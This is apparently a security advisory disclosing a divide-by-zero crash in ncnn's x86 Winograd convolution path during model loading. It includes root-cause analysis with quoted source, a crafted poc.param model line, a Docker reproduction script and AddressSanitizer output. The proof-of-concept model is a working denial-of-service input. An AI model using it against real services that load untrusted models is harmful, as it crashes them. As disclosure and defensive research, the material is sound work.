Divide-By-Zero DoS During Model Loading
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_3x3_winograd.h:2401 in get_optimal_tile_mnk
Sanitizer verdict: FPE on unknown address 0x5b664f472ad7 (pc 0x5b664f472ad7 bp 0x7ffd5cf50ef0 sp 0x7ffd5cf50d30 T0)
Summary
A crafted ncnn model that declares a 3x3 Convolution with 16 outputs but only one weight element makes the x86 pipeline compute zero input channels; the FP32 Winograd tile solver then divides by zero and terminates the process with SIGFPE. The PoC feeds this to ncnnoptimize poc.param poc.bin out.param out.bin 0, and the crash occurs inside ncnn::Net::load_model while building the convolution pipeline, so any x86 consumer loading an untrusted model with Winograd enabled is affected.
Detail
Convolution::load_param stores num_output (field 0), the kernel dimensions (fields 1 and 11) and weight_data_size (field 6) independently and never cross-checks them against the actual weight blob. Convolution_x86::create_pipeline reverses the relation to obtain num_input, then selects the Winograd path on a disjunction that a zero num_input cannot veto, because num_output > 8 alone satisfies it.
// src/layer/x86/convolution_x86.cpp:301
int kernel_size = kernel_w * kernel_h;
int num_input = weight_data_size / kernel_size / num_output;
// src/layer/x86/convolution_x86.cpp:368
bool prefer_winograd = (opt.use_winograd23_convolution || opt.use_winograd43_convolution || opt.use_winograd63_convolution) && (num_input > 8 || num_output > 8);
// src/layer/x86/convolution_x86.cpp:375
if ((opt.use_winograd63_convolution) && (num_input <= 32 && num_output <= 32))
conv3x3s1_winograd63_transform_kernel(weight_data, weight_winograd63_data, num_input, num_output, opt);
// src/layer/x86/convolution_3x3_winograd.h:2399
int nn_K = (K + TILE_K - 1) / TILE_K;
#if __AVX512F__
TILE_K = std::min(TILE_K, ((K + nn_K - 1) / nn_K + 15) / 16 * 16);
The PoC layer line is Convolution conv 1 1 data output 0=16 1=3 11=3 3=1 13=1 5=0 6=1, so kernel_size = 9, num_output = 16 and weight_data_size = 1, and num_input = 1 / 9 / 16 = 0. Because no input or output shapes are known at load time the "dynamic shape" branch at line 372 is taken, and since num_input <= 32 && num_output <= 32 the winograd63 kernel transform is invoked with inch = 0.
conv3x3s1_winograd63_transform_kernel assigns K = inch (line 5744) and calls get_optimal_tile_mnk at line 5748. In the "solve K" block TILE_K is clamped to at least 16 on AVX-512, so nn_K = (0 + TILE_K - 1) / TILE_K truncates to 0; line 2401 then evaluates (K + nn_K - 1) / nn_K, i.e. -1 / 0, raising SIGFPE before the model is optimized or written out.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-divide-by-zero-dos-during-model-loading-2 && cd ncnn-poc-divide-by-zero-dos-during-model-loading-2
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
1 2
Convolution c 1 1 a b 0=16 1=3 6=1
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0
AddressSanitizer output:
find_blob_index_by_name a failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x588994a72ad7 (pc 0x588994a72ad7 bp 0x7ffc69d073c0 sp 0x7ffc69d07200 T0)
#0 0x588994a72ad7 in get_optimal_tile_mnk /ncnn/src/layer/x86/convolution_3x3_winograd.h:2401
#1 0x588994adc567 in conv3x3s1_winograd63_transform_kernel /ncnn/src/layer/x86/convolution_3x3_winograd.h:5748
#2 0x5889952ef0e3 in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:376
#3 0x58899450fc96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#4 0x588994423c34 in main /ncnn/tools/ncnnoptimize.cpp:2793
#5 0x7103a920c1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x7103a920c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x5889943a3624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/x86/convolution_3x3_winograd.h:2401 in get_optimal_tile_mnk
==1==ABORTING
Credit
Zheng Yu @ DepthFirst